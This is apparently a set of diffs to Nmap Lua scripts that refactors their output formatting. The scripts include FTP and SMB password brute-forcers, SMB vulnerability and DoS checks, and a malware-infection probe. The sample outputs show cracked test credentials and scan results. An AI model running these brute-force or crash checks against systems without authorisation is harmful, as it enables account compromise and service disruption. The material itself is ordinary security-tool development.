-- |_ Domain Name Server: 208.81.7.10, 208.81.7.14 -- |_ |_ Domain Name Server: 208.81.7.10, 208.81.7.14
-- --
-- --
--@args dhcptype The type of DHCP request to make. By default, DHCPDISCOVER is sent, but this argument --@args dhcptype The type of DHCP request to make. By default, DHCPDISCOVER is sent, but this argument
@@ -710,11 +710,7 @@ action = function(host, port)
local status, results = go(host, port) local status, results = go(host, port)
if(status == false) then if(status == false) then
if(nmap.debugging() > 0) then return stdnse.format_output(false, results)
return "ERROR: " .. results
else
return nil
end
end end
if(results == nil) then if(results == nil) then
@@ -724,25 +720,25 @@ action = function(host, port)
-- Set the port state to open -- Set the port state to open
nmap.set_port_state(host, port, "open") nmap.set_port_state(host, port, "open")
local response = " \n" local response = {}
-- Display the results -- Display the results
for i, result in ipairs(results) do for i, result in ipairs(results) do
if(#results ~= 1) then if(#results ~= 1) then
response = response .. string.format("Result %d\n", i) table.insert(response, string.format("Result %d", i))
end end
response = response .. string.format(" IP Offered: %s\n", result.yiaddr_str) table.insert(response, string.format("IP Offered: %s", result.yiaddr_str))
for _, v in ipairs(result.options) do for _, v in ipairs(result.options) do
if(type(v['value']) == 'table') then if(type(v['value']) == 'table') then
response = response .. string.format(" %s: %s\n", v['name'], stdnse.strjoin(", ", v['value'])) table.insert(response, string.format("%s: %s", v['name'], stdnse.strjoin(", ", v['value'])))
else else
response = response .. string.format(" %s: %s\n", v['name'], v['value']) table.insert(response, string.format("%s: %s\n", v['name'], v['value']))
end end
end end
end end
return response return stdnse.format_output(true, response)
end end

View File

@@ -17,8 +17,8 @@ Made into an actual bruteforce script (previously, it only tried one username/pa
-- PORT STATE SERVICE REASON -- PORT STATE SERVICE REASON
-- 21/tcp open ftp syn-ack -- 21/tcp open ftp syn-ack
-- | ftp-brute: -- | ftp-brute:
-- | anonymous: IEUser@ -- | | anonymous: IEUser@
-- |_ test: password -- |_ |_ test: password
-- --
-- @args userlimit The number of user accounts to try (default: unlimited). -- @args userlimit The number of user accounts to try (default: unlimited).
-- @args passlimit The number of passwords to try (default: unlimited). -- @args passlimit The number of passwords to try (default: unlimited).
@@ -186,25 +186,21 @@ local function go(host, port)
end end
action = function(host, port) action = function(host, port)
local response = {}
local status, results = go(host, port) local status, results = go(host, port)
if(not(status)) then if(not(status)) then
if(nmap.debugging() > 0) then return stdnse.format_output(false, results)
return "ERROR: " .. results
else
return nil
end
end end
if(#results == 0) then if(#results == 0) then
return "No accounts found" return stdnse.format_output(false, "No accounts found")
end end
local response = " \n"
for i, v in ipairs(results) do for i, v in ipairs(results) do
response = response .. string.format("%s: %s\n", v.user, v.password) table.insert(response, string.format("%s: %s\n", v.user, v.password))
end end
return response return stdnse.format_output(true, response)
end end

View File

@@ -26,9 +26,14 @@ for 404 Not Found and the status code returned by the random files).
-- Interesting ports on test.skullsecurity.org (208.81.2.52): -- Interesting ports on test.skullsecurity.org (208.81.2.52):
-- PORT STATE SERVICE REASON -- PORT STATE SERVICE REASON
-- 80/tcp open http syn-ack -- 80/tcp open http syn-ack
-- | http-enum: -- | http-enum:
-- | /icons/ Icons and images -- | | /icons/: Icons and images
-- |_ /x_logo.gif Xerox Phaser Printer -- | | /images/: Icons and images
-- | | /robots.txt: Robots file
-- | | /sw/auth/login.aspx: Citrix WebTop
-- | | /images/outlook.jpg: Outlook Web Access
-- | | /nfservlets/servlet/SPSRouterServlet/: netForensics
-- |_ |_ /nfservlets/servlet/SPSRouterServlet/: netForensics
-- --
-- --
--@args displayall Set to '1' or 'true' to display all status codes that may indicate a valid page, not just --@args displayall Set to '1' or 'true' to display all status codes that may indicate a valid page, not just
@@ -223,7 +228,7 @@ end
action = function(host, port) action = function(host, port)
local response = " \n" local response = {}
-- Add URLs from external files -- Add URLs from external files
local URLs = get_fingerprints() local URLs = get_fingerprints()
@@ -231,11 +236,7 @@ action = function(host, port)
-- Check what response we get for a 404 -- Check what response we get for a 404
local result, result_404, known_404 = http.identify_404(host, port) local result, result_404, known_404 = http.identify_404(host, port)
if(result == false) then if(result == false) then
if(nmap.debugging() > 0) then return stdnse.format_output(false, result_404)
return "ERROR: " .. result_404
else
return nil
end
end end
-- Check if we can use HEAD requests -- Check if we can use HEAD requests
@@ -245,11 +246,7 @@ action = function(host, port)
if(use_head == false) then if(use_head == false) then
local result, err = http.can_use_get(host, port) local result, err = http.can_use_get(host, port)
if(result == false) then if(result == false) then
if(nmap.debugging() > 0) then return stdnse.format_output(false, err)
return "ERROR: " .. err
else
return nil
end
end end
end end
@@ -303,11 +300,7 @@ action = function(host, port)
-- Check for http.pipeline error -- Check for http.pipeline error
if(results == nil) then if(results == nil) then
stdnse.print_debug(1, "http-enum.nse: http.pipeline returned nil") stdnse.print_debug(1, "http-enum.nse: http.pipeline returned nil")
if(nmap.debugging() > 0) then return stdnse.format_output(false, "http.pipeline returned nil")
return "ERROR: http.pipeline returned nil"
else
return nil
end
end end
for i, data in pairs(results) do for i, data in pairs(results) do
@@ -325,15 +318,11 @@ action = function(host, port)
end end
stdnse.print_debug("Found a valid page! (%s)%s", description, status) stdnse.print_debug("Found a valid page! (%s)%s", description, status)
response = response .. string.format("%s%s\n", description, status) table.insert(response, string.format("%s%s", description, status))
end end
end end
end end
if string.len(response) > 2 then return stdnse.format_output(true, response)
return response
end
return nil
end end

View File

@@ -7,17 +7,21 @@ Performs a GET request for the root folder ("/") of a web server and displays th
-- Interesting ports on scanme.nmap.org (64.13.134.52): -- Interesting ports on scanme.nmap.org (64.13.134.52):
-- PORT STATE SERVICE -- PORT STATE SERVICE
-- 80/tcp open http syn-ack -- 80/tcp open http syn-ack
-- | http-headers: (HEAD used) -- | http-headers:
-- | HTTP/1.1 200 OK -- | | HTTP/1.1 200 OK
-- | Date: Thu, 27 Aug 2009 15:46:39 GMT -- | | Date: Tue, 10 Nov 2009 01:25:11 GMT
-- | Server: Apache/2.2.11 (Unix) PHP/5.2.8 -- | | Server: Apache/2.2.9 (Unix) PHP/5.2.10
-- | Connection: close -- | | Last-Modified: Sat, 11 Oct 2008 15:22:21 GMT
-- |_ Content-Type: text/html;charset=ISO-8859-1 -- | | ETag: "90013-e3d-458fbd508c540"
-- | | Accept-Ranges: bytes
-- | | Content-Length: 3645
-- | | Connection: close
-- | | Content-Type: text/html
-- |_ |_ (Request type: HEAD)
-- --
--@args path The path to request, such as '/index.php'. Default: '/'. --@args path The path to request, such as '/index.php'. Default: '/'.
--@args useget Set to force GET requests instead of HEAD. --@args useget Set to force GET requests instead of HEAD.
author = "Ron Bowes <ron@skullsecurity.org>" author = "Ron Bowes <ron@skullsecurity.org>"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html" license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
@@ -81,11 +85,11 @@ action = function(host, port)
end end
end end
local response = "(" .. request_type .. " used)\n" table.insert(result.rawheader, "(Request type: " .. request_type .. ")")
for _, header in ipairs(result.rawheader) do -- for _, header in ipairs(result.rawheader) do
response = response .. header .. "\n" -- response = response .. header .. "\n"
end -- end
return response return stdnse.format_output(true, result.rawheader)
end end

View File

@@ -14,10 +14,11 @@ Thanks to Denis from the above link for finding this technique!
-- Interesting ports on www.sopharma.bg (84.242.167.49): -- Interesting ports on www.sopharma.bg (84.242.167.49):
-- PORT STATE SERVICE REASON -- PORT STATE SERVICE REASON
-- 80/tcp open http syn-ack -- 80/tcp open http syn-ack
-- |_ http-infected: Host appears to be clean -- |_ http-malware-host: Host appears to be clean
-- 8080/tcp open http-proxy syn-ack -- 8080/tcp open http-proxy syn-ack
-- | http-malware-host: Host appears to be infected (/ts/in.cgi?open2 redirects to http://last-another-life.ru:8080/index.php) -- | http-malware-host:
-- |_ See: http://blog.unmaskparasites.com/2009/09/11/dynamic-dns-and-botnet-of-zombie-web-servers/ -- | | Host appears to be infected (/ts/in.cgi?open2 redirects to http://last-another-life.ru:8080/index.php)
-- |_ |_ See: http://blog.unmaskparasites.com/2009/09/11/dynamic-dns-and-botnet-of-zombie-web-servers/
-- --
author = "Ron Bowes <ron@skullsecurity.net>" author = "Ron Bowes <ron@skullsecurity.net>"
@@ -45,46 +46,40 @@ portrule = function(host, port)
return true return true
end end
local function go(host, port) action = function(host, port)
-- Check what response we get for a 404 -- Check what response we get for a 404
local result, result_404, known_404 = http.identify_404(host, port) local result, result_404, known_404 = http.identify_404(host, port)
if(result == false) then if(result == false) then
return false, "Couldn't identify 404 message: " .. result_404 return stdnse.format_output(false, "Couldn't identify 404 message: " .. result_404)
end end
-- If the 404 result is a 302, we're going to have trouble -- If the 404 result is a 302, we're going to have trouble
if(result_404 == 302) then if(result_404 == 302) then
return false, "Unknown pages return a 302 response; unable to check" return stdnse.format_output(false, "Unknown pages return a 302 response; unable to check")
end end
-- Perform a GET request on the file -- Perform a GET request on the file
result = http.get_url("http://" .. host.ip .. ":" .. port.number .. "/ts/in.cgi?open2") result = http.get_url("http://" .. host.ip .. ":" .. port.number .. "/ts/in.cgi?open2")
if(result == nil) then if(not(result)) then
return false, "Couldn't perform GET request" return stdnse.format_output(false, "Couldn't perform GET request")
end end
if(result.status == 302) then if(result.status == 302) then
local response = {}
if(result.header.location) then if(result.header.location) then
return true, string.format("Host appears to be infected (/ts/in.cgi?open2 redirects to %s)\nSee: http://blog.unmaskparasites.com/2009/09/11/dynamic-dns-and-botnet-of-zombie-web-servers/", result.header.location) table.insert(response, string.format("Host appears to be infected (/ts/in.cgi?open2 redirects to %s)", result.header.location))
else else
return true, string.format("Host appears to be infected (/ts/in.cgi?open2 return a redirect)\nSee: http://blog.unmaskparasites.com/2009/09/11/dynamic-dns-and-botnet-of-zombie-web-servers/") table.insert(response, "Host appears to be infected (/ts/in.cgi?open2 return a redirect")
end end
table.insert(response, "See: http://blog.unmaskparasites.com/2009/09/11/dynamic-dns-and-botnet-of-zombie-web-servers/")
return stdnse.format_output(true, response)
end end
return true, nil -- Not infected
end if(nmap.verbosity() > 0) then
return "Host appears to be clean"
action = function(host, port) else
local status, result = go(host, port) return nil
if(status == false) then
if(nmap.debugging() > 0) then
return "ERROR: " .. result
else
return nil
end
end end
return result
end end

View File

@@ -11,19 +11,20 @@ owns.
-- sudo nmap -sU --script nbstat.nse -p137 <host>\n -- sudo nmap -sU --script nbstat.nse -p137 <host>\n
-- --
-- @output -- @output
-- (no verbose)\n -- Host script results:
-- |_ nbstat: NetBIOS name: TST, NetBIOS user: RON, NetBIOS MAC: 00:0c:29:f9:d9:28\n -- |_ nbstat: NetBIOS name: WINDOWS2003, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:c6:da:f5
--\n --
-- (verbose)\n -- Host script results:
-- | nbstat: NetBIOS name: TST, NetBIOS user: RON, NetBIOS MAC: 00:0c:29:f9:d9:28\n -- | nbstat:
-- | Name: TST<00> Flags: <unique><active>\n -- | | NetBIOS name: WINDOWS2003, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:c6:da:f5
-- | Name: TST<20> Flags: <unique><active>\n -- | | Names
-- | Name: WORKGROUP<00> Flags: <group><active>\n -- | | | WINDOWS2003<00> Flags: <unique><active>
-- | Name: TST<03> Flags: <unique><active>\n -- | | | WINDOWS2003<20> Flags: <unique><active>
-- | Name: WORKGROUP<1e> Flags: <group><active>\n -- | | | SKULLSECURITY<00> Flags: <group><active>
-- | Name: RON<03> Flags: <unique><active>\n -- | | | SKULLSECURITY<1e> Flags: <group><active>
-- | Name: WORKGROUP<1d> Flags: <unique><active>\n -- | | | SKULLSECURITY<1d> Flags: <unique><active>
-- |_ Name: \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>\n -- |_ |_ |_ \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
author = "Brandon Enright <bmenrigh@ucsd.edu>, Ron Bowes" author = "Brandon Enright <bmenrigh@ucsd.edu>, Ron Bowes"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html" license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
@@ -67,7 +68,7 @@ action = function(host)
local names, statistics local names, statistics
local server_name, user_name local server_name, user_name
local mac local mac
local result = "" local response = {}
-- Get the list of NetBIOS names -- Get the list of NetBIOS names
status, names, statistics = netbios.do_nbstat(host.ip) status, names, statistics = netbios.do_nbstat(host.ip)
@@ -75,19 +76,19 @@ action = function(host)
status, names, statistics = netbios.do_nbstat(host.ip) status, names, statistics = netbios.do_nbstat(host.ip)
status, names, statistics = netbios.do_nbstat(host.ip) status, names, statistics = netbios.do_nbstat(host.ip)
if(status == false) then if(status == false) then
return "ERROR: " .. names return stdnse.format_output(false, names)
end end
-- Get the server name -- Get the server name
status, server_name = netbios.get_server_name(host.ip, names) status, server_name = netbios.get_server_name(host.ip, names)
if(status == false) then if(status == false) then
return "ERROR: " .. server_name return stdnse.format_output(false, server_name)
end end
-- Get the logged in user -- Get the logged in user
status, user_name = netbios.get_user_name(host.ip, names) status, user_name = netbios.get_user_name(host.ip, names)
if(status == false) then if(status == false) then
return "ERROR: " .. user_name return stdnse.format_output(false, user_name)
end end
-- Format the Mac address in the standard way -- Format the Mac address in the standard way
@@ -106,27 +107,40 @@ action = function(host)
user_name = "<unknown>" user_name = "<unknown>"
end end
result = result .. string.format("NetBIOS name: %s, NetBIOS user: %s, NetBIOS MAC: %s\n", server_name, user_name, mac)
-- If verbosity is set, dump the whole list of names -- If verbosity is set, dump the whole list of names
if(nmap.verbosity() >= 1) then if(nmap.verbosity() >= 1) then
table.insert(response, string.format("NetBIOS name: %s, NetBIOS user: %s, NetBIOS MAC: %s\n", server_name, user_name, mac))
local names_output = {}
names_output['name'] = "Names"
for i = 1, #names, 1 do for i = 1, #names, 1 do
local padding = string.rep(" ", 17 - string.len(names[i]['name'])) local padding = string.rep(" ", 17 - string.len(names[i]['name']))
local flags_str = netbios.flags_to_string(names[i]['flags']) local flags_str = netbios.flags_to_string(names[i]['flags'])
result = result .. string.format("Name: %s<%02x>%sFlags: %s\n", names[i]['name'], names[i]['suffix'], padding, flags_str) table.insert(names_output, string.format("%s<%02x>%sFlags: %s\n", names[i]['name'], names[i]['suffix'], padding, flags_str))
end end
table.insert(response, names_output)
-- If super verbosity is set, print out the full statistics -- If super verbosity is set, print out the full statistics
if(nmap.verbosity() >= 2) then if(nmap.verbosity() >= 2) then
result = result .. "Statistics: " local statistics_output = {}
local statistics_string = ''
statistics_output['name'] = "Statistics"
for i = 1, #statistics, 1 do for i = 1, #statistics, 1 do
result = result .. string.format("%02x ", statistics:byte(i)) statistics_string = statistics_string .. string.format("%02x ", statistics:byte(i))
if(i ~= #statistics and ((i) % 16) == 0) then
table.insert(statistics_output, statistics_string)
statistics_string = ''
end
end end
result = result .. "\n" table.insert(statistics_output, statistics_string)
table.insert(response, statistics_output)
end end
return stdnse.format_output(true, response)
else
return string.format("NetBIOS name: %s, NetBIOS user: %s, NetBIOS MAC: %s\n", server_name, user_name, mac)
end end
return result
end end

View File

@@ -530,10 +530,10 @@ local function conficker_check(ip, port, protocol)
return true, "Received valid data", result return true, "Received valid data", result
end end
local function go(host) action = function(host)
local tcp_ports = {} local tcp_ports = {}
local udp_ports = {} local udp_ports = {}
local response = " \n" local response = {}
local i local i
local port, protocol local port, protocol
local count = 0 local count = 0
@@ -553,10 +553,6 @@ local function go(host)
udp_ports[i] = true udp_ports[i] = true
end end
end end
-- if((i % 10) == 0) then
-- io.write(i .. "\n")
-- end
end end
end end
@@ -582,7 +578,7 @@ local function go(host)
udp_ports[generated_ports[2]] = true udp_ports[generated_ports[2]] = true
udp_ports[generated_ports[4]] = true udp_ports[generated_ports[4]] = true
response = string.format("Checking for Conficker.C or higher...\n") table.insert(response, string.format("Checking for Conficker.C or higher..."))
-- Check the TCP ports -- Check the TCP ports
for port in pairs(tcp_ports) do for port in pairs(tcp_ports) do
@@ -592,10 +588,10 @@ local function go(host)
checks = checks + 1 checks = checks + 1
if(status == true) then if(status == true) then
response = response .. string.format("| Check %d (port %d/%s): INFECTED (%s)\n", checks, port, "tcp", reason) table.insert(response, string.format("Check %d (port %d/%s): INFECTED (%s)", checks, port, "tcp", reason))
count = count + 1 count = count + 1
else else
response = response .. string.format("| Check %d (port %d/%s): CLEAN (%s)\n", checks, port, "tcp", reason) table.insert(response, string.format("Check %d (port %d/%s): CLEAN (%s)", checks, port, "tcp", reason))
end end
end end
@@ -607,43 +603,24 @@ local function go(host)
checks = checks + 1 checks = checks + 1
if(status == true) then if(status == true) then
response = response .. string.format("| Check %d (port %d/%s): INFECTED (%s)\n", checks, port, "udp", reason) table.insert(response, string.format("Check %d (port %d/%s): INFECTED (%s)", checks, port, "udp", reason))
count = count + 1 count = count + 1
else else
response = response .. string.format("| Check %d (port %d/%s): CLEAN (%s)\n", checks, port, "udp", reason) table.insert(response, string.format("| Check %d (port %d/%s): CLEAN (%s)", checks, port, "udp", reason))
end end
end end
-- Remove the response if verbose is turned off -- Check how many INFECTED hits we got
if(count == 0 and nmap.verbosity() < 2) then if(count == 0) then
response = "" if (nmap.verbosity() > 1) then
table.insert(response, string.format("%d/%d checks are positive: Host is CLEAN or ports are blocked", count, checks))
else
response = ''
end
else else
response = response .. "|_ " table.insert(response, string.format("%d/%d checks are positive: Host is likely INFECTED", count, checks))
end end
-- Check how many INFECTED hits we got
if(count == 0) then
if (nmap.verbosity() > 1) then
response = response .. string.format("%d/%d checks are positive: Host is CLEAN or ports are blocked\n", count, checks)
else
response = nil
end
else
response = response .. string.format("%d/%d checks are positive: Host is likely INFECTED\n", count, checks)
end
return true, stdnse.format_output(true, response)
return true, response
end end
action = function(host)
local status, result = go(host)
if(status == false) then
return "ERROR: " .. result
else
return result
end
end

View File

@@ -43,13 +43,13 @@ Entry { filename = "skypev2-version.nse", categories = { "version", } }
Entry { filename = "smb-brute.nse", categories = { "auth", "intrusive", } } Entry { filename = "smb-brute.nse", categories = { "auth", "intrusive", } }
Entry { filename = "smb-check-vulns.nse", categories = { "dos", "exploit", "intrusive", "vuln", } } Entry { filename = "smb-check-vulns.nse", categories = { "dos", "exploit", "intrusive", "vuln", } }
Entry { filename = "smb-enum-domains.nse", categories = { "discovery", "intrusive", } } Entry { filename = "smb-enum-domains.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "smb-enum-groups.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "smb-enum-processes.nse", categories = { "discovery", "intrusive", } } Entry { filename = "smb-enum-processes.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "smb-enum-sessions.nse", categories = { "discovery", "intrusive", } } Entry { filename = "smb-enum-sessions.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "smb-enum-shares.nse", categories = { "discovery", "intrusive", } } Entry { filename = "smb-enum-shares.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "smb-enum-users.nse", categories = { "discovery", "intrusive", } } Entry { filename = "smb-enum-users.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "smb-os-discovery.nse", categories = { "default", "discovery", "safe", } } Entry { filename = "smb-os-discovery.nse", categories = { "default", "discovery", "safe", } }
Entry { filename = "smb-psexec.nse", categories = { "intrusive", } } Entry { filename = "smb-psexec.nse", categories = { "intrusive", } }
Entry { filename = "smb-pwdump.nse", categories = { "intrusive", } }
Entry { filename = "smb-security-mode.nse", categories = { "discovery", "safe", } } Entry { filename = "smb-security-mode.nse", categories = { "discovery", "safe", } }
Entry { filename = "smb-server-stats.nse", categories = { "discovery", "intrusive", } } Entry { filename = "smb-server-stats.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "smb-system-info.nse", categories = { "discovery", "intrusive", } } Entry { filename = "smb-system-info.nse", categories = { "discovery", "intrusive", } }

View File

@@ -67,16 +67,16 @@ determined with a fairly efficient bruteforce. For example, if the actual passwo
--@output --@output
-- Host script results: -- Host script results:
-- | smb-brute: -- | smb-brute:
-- | bad name:test => Login was successful -- | | bad name:test => Login was successful
-- | consoletest:test => Password was correct, but user can't log in without changing it -- | | consoletest:test => Password was correct, but user can't log in without changing it
-- | guest:<anything> => Password was correct, but user's account is disabled -- | | guest:<anything> => Password was correct, but user's account is disabled
-- | mixcase:BuTTeRfLY1 => Login was successful -- | | mixcase:BuTTeRfLY1 => Login was successful
-- | test:password1 => Login was successful -- | | test:password1 => Login was successful
-- | this:password => Login was successful -- | | this:password => Login was successful
-- | thisisaverylong:password => Login was successful -- | | thisisaverylong:password => Login was successful
-- | thisisaverylongname:password => Login was successful -- | | thisisaverylongname:password => Login was successful
-- | thisisaverylongnamev:password => Login was successful -- | | thisisaverylongnamev:password => Login was successful
-- |_ web:TeSt => Password was correct, but user's account is disabled -- |_ |_ web:TeSt => Password was correct, but user's account is disabled
-- --
-- @args smblockout Unless this is set to '1' or 'true', the script won't continue if it -- @args smblockout Unless this is set to '1' or 'true', the script won't continue if it
-- locks out an account or thinks it will lock out an account. -- locks out an account or thinks it will lock out an account.
@@ -1001,7 +1001,7 @@ action = function(host, port)
-- TRACEBACK[coroutine.running()] = true; -- TRACEBACK[coroutine.running()] = true;
local status, result local status, result
local response = " \n" local response = {}
local username local username
local usernames = {} local usernames = {}
@@ -1010,11 +1010,7 @@ action = function(host, port)
status, result, locked_result = go(host) status, result, locked_result = go(host)
if(status == false) then if(status == false) then
if(nmap.debugging() > 0) then return stdnse.format_output(false, result)
return "ERROR: " .. result
else
return nil
end
end end
-- Put the usernames in their own table -- Put the usernames in their own table
@@ -1027,11 +1023,11 @@ action = function(host, port)
-- Display the usernames -- Display the usernames
if(#usernames == 0) then if(#usernames == 0) then
response = "No accounts found\n" table.insert(response, "No accounts found")
else else
for i=1, #usernames, 1 do for i=1, #usernames, 1 do
local username = usernames[i] local username = usernames[i]
response = response .. format_result(username, result[username]['password'], result[username]['result']) .. "\n" table.insert(response, format_result(username, result[username]['password'], result[username]['result']))
end end
end end
@@ -1044,9 +1040,9 @@ action = function(host, port)
table.sort(locked) table.sort(locked)
-- Display the list -- Display the list
response = response .. string.format("Locked accounts found: %s\n", stdnse.strjoin(", ", locked)) table.insert(response, string.format("Locked accounts found: %s", stdnse.strjoin(", ", locked)))
end end
return response return stdnse.format_output(true, response)
end end

View File

@@ -63,10 +63,10 @@ on the Nmap-dev mailing list and I'll add it to my list [Ron Bowes]).
--@output --@output
-- Host script results: -- Host script results:
-- | smb-check-vulns: -- | smb-check-vulns:
-- | MS08-067: FIXED -- | | MS08-067: NOT VULNERABLE
-- | Conficker: Likely INFECTED -- | | Conficker: Likely CLEAN
-- | regsvc DoS: FIXED -- | | regsvc DoS: NOT VULNERABLE
-- |_ SMBv2 DoS (CVE-2009-3103): VULNERABLE -- |_ |_ SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE
-- --
-- @args unsafe If set, this script will run checks that, if the system isn't -- @args unsafe If set, this script will run checks that, if the system isn't
-- patched, are basically guaranteed to crash something. Remember that -- patched, are basically guaranteed to crash something. Remember that
@@ -407,9 +407,9 @@ local function get_response(check, message, description, minimum_verbosity, mini
-- Check if we have appropriate verbosity/debug -- Check if we have appropriate verbosity/debug
if(nmap.verbosity() >= minimum_verbosity and nmap.debugging() >= minimum_debug) then if(nmap.verbosity() >= minimum_verbosity and nmap.debugging() >= minimum_debug) then
if(description == nil or description == '') then if(description == nil or description == '') then
return string.format("%s: %s\n", check, message) return string.format("%s: %s", check, message)
else else
return string.format("%s: %s (%s)\n", check, message, description) return string.format("%s: %s (%s)", check, message, description)
end end
else else
return '' return ''
@@ -419,23 +419,23 @@ end
action = function(host) action = function(host)
local status, result, message local status, result, message
local response = "" local response = {}
-- Check for ms08-067 -- Check for ms08-067
status, result, message = check_ms08_067(host) status, result, message = check_ms08_067(host)
if(status == false) then if(status == false) then
response = response .. get_response("MS08-067", "ERROR", result, 0, 1) table.insert(response, get_response("MS08-067", "ERROR", result, 0, 1))
else else
if(result == VULNERABLE) then if(result == VULNERABLE) then
response = response .. get_response("MS08-067", "VULNERABLE", nil, 0) table.insert(response, get_response("MS08-067", "VULNERABLE", nil, 0))
elseif(result == UNKNOWN) then elseif(result == UNKNOWN) then
response = response .. get_response("MS08-067", "LIKELY VULNERABLE", "host stopped responding", 1) -- TODO: this isn't very accurate table.insert(response, get_response("MS08-067", "LIKELY VULNERABLE", "host stopped responding", 1)) -- TODO: this isn't very accurate
elseif(result == NOTRUN) then elseif(result == NOTRUN) then
response = response .. get_response("MS08-067", "CHECK DISABLED", "remove 'safe=1' argument to run", 1) table.insert(response, get_response("MS08-067", "CHECK DISABLED", "remove 'safe=1' argument to run", 1))
elseif(result == INFECTED) then elseif(result == INFECTED) then
response = response .. get_response("MS08-067", "FIXED", "likely by Conficker", 0) table.insert(response, get_response("MS08-067", "NOT VULNERABLE", "likely by Conficker", 0))
else else
response = response .. get_response("MS08-067", "FIXED", nil, 1) table.insert(response, get_response("MS08-067", "NOT VULNERABLE", nil, 1))
end end
end end
@@ -443,55 +443,48 @@ action = function(host)
status, result = check_conficker(host) status, result = check_conficker(host)
if(status == false) then if(status == false) then
local msg = CONFICKER_ERROR_HELP[result] or "UNKNOWN; got error " .. result local msg = CONFICKER_ERROR_HELP[result] or "UNKNOWN; got error " .. result
response = response .. get_response("Conficker", msg, nil, 1) -- Only set verbosity for this, since it might be an error or it might be UNKNOWN table.insert(response, get_response("Conficker", msg, nil, 1)) -- Only set verbosity for this, since it might be an error or it might be UNKNOWN
else else
if(result == CLEAN) then if(result == CLEAN) then
response = response .. get_response("Conficker", "Likely CLEAN", nil, 1) table.insert(response, get_response("Conficker", "Likely CLEAN", nil, 1))
elseif(result == INFECTED) then elseif(result == INFECTED) then
response = response .. get_response("Conficker", "Likely INFECTED", "by Conficker.C or lower", 0) table.insert(response, get_response("Conficker", "Likely INFECTED", "by Conficker.C or lower", 0))
elseif(result == INFECTED2) then elseif(result == INFECTED2) then
response = response .. get_response("Conficker", "Likely INFECTED", "by Conficker.D or higher", 0) table.insert(response, get_response("Conficker", "Likely INFECTED", "by Conficker.D or higher", 0))
else else
response = response .. get_response("Conficker", "UNKNOWN", result, 0, 1) table.insert(response, get_response("Conficker", "UNKNOWN", result, 0, 1))
end end
end end
-- Check for a winreg_Enum crash -- Check for a winreg_Enum crash
status, result = check_winreg_Enum_crash(host) status, result = check_winreg_Enum_crash(host)
if(status == false) then if(status == false) then
response = response .. get_response("regsvc DoS", "ERROR", result, 0, 1) table.insert(response, get_response("regsvc DoS", "ERROR", result, 0, 1))
else else
if(result == VULNERABLE) then if(result == VULNERABLE) then
response = response .. get_response("regsvc DoS", "VULNERABLE", nil, 0) table.insert(response, get_response("regsvc DoS", "VULNERABLE", nil, 0))
elseif(result == NOTRUN) then elseif(result == NOTRUN) then
response = response .. get_response("regsvc DoS", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1) table.insert(response, get_response("regsvc DoS", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1))
else else
response = response .. get_response("regsvc DoS", "FIXED", nil, 1) table.insert(response, get_response("regsvc DoS", "NOT VULNERABLE", nil, 1))
end end
end end
-- Check for SMBv2 vulnerablity -- Check for SMBv2 vulnerablity
status, result = check_smbv2_dos(host) status, result = check_smbv2_dos(host)
if(status == false) then if(status == false) then
response = response .. get_response("SMBv2 DoS (CVE-2009-3103)", "ERROR", result, 0, 1) table.insert(response, get_response("SMBv2 DoS (CVE-2009-3103)", "ERROR", result, 0, 1))
else else
if(result == VULNERABLE) then if(result == VULNERABLE) then
response = response .. get_response("SMBv2 DoS (CVE-2009-3103)", "VULNERABLE", nil, 0) table.insert(response, get_response("SMBv2 DoS (CVE-2009-3103)", "VULNERABLE", nil, 0))
elseif(result == NOTRUN) then elseif(result == NOTRUN) then
response = response .. get_response("SMBv2 DoS (CVE-2009-3103)", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1) table.insert(response, get_response("SMBv2 DoS (CVE-2009-3103)", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1))
else else
response = response .. get_response("SMBv2 DoS (CVE-2009-3103)", "FIXED", nil, 1) table.insert(response, get_response("SMBv2 DoS (CVE-2009-3103)", "NOT VULNERABLE", nil, 1))
end end
end end
-- If we got a response, add a linefeed return stdnse.format_output(true, response)
if(response ~= "") then
response = " \n" .. response
else
response = nil
end
return response
end end

View File

@@ -32,26 +32,20 @@ After the initial <code>bind</code> to SAMR, the sequence of calls is:
-- --
--@output --@output
-- Host script results: -- Host script results:
-- | smb-enum-domains: -- | smb-enum-domains:
-- | Domain: LOCALSYSTEM -- | | WINDOWS2003 (S-1-5-21-4146152237-3614947961-1862238888)
-- | |_ SID: S-1-5-21-2956463495-2656032972-1271678565 -- | | | Groups: HelpServicesGroup, IIS_WPG, TelnetClients
-- | |_ Users: Administrator, Guest, SUPPORT_388945a0 -- | | | Users: Administrator, ASPNET, Guest, IUSR_WINDOWS2003, IWAM_WINDOWS2003, ron, SUPPORT_388945a0, test
-- | |_ Creation time: 2007-11-26 15:24:04 -- | | | Creation time: 2009-10-17 12:46:43
-- | |_ Passwords: min length: 11 characters; min age: 5 days; max age: 63 days -- | | | Passwords: min length: n/a; min age: n/a; max age: 42 days; history: n/a
-- | |_ Password lockout: 3 attempts in under 15 minutes will lock the account until manually reset -- | | |_ Account lockout disabled
-- | |_ Password history : 5 passwords -- | | Builtin (S-1-5-32)
-- | |_ Password properties: -- | | | Groups: Administrators, Backup Operators, Distributed COM Users, Guests, Network Configuration Operators, Performance Log Users, Performance Monitor Users, Power Users, Print Operators, Remote Desktop Users, Replicator, Users
-- | |_ Password complexity requirements exist -- | | | Users: n/a
-- | |_ Administrator account cannot be locked out -- | | | Creation time: 2009-10-17 12:46:43
-- | Domain: Builtin -- | | | Passwords: min length: n/a; min age: n/a; max age: 42 days; history: n/a
-- | |_ SID: S-1-5-32 -- |_ |_ |_ Account lockout disabled
-- | |_ Users: --
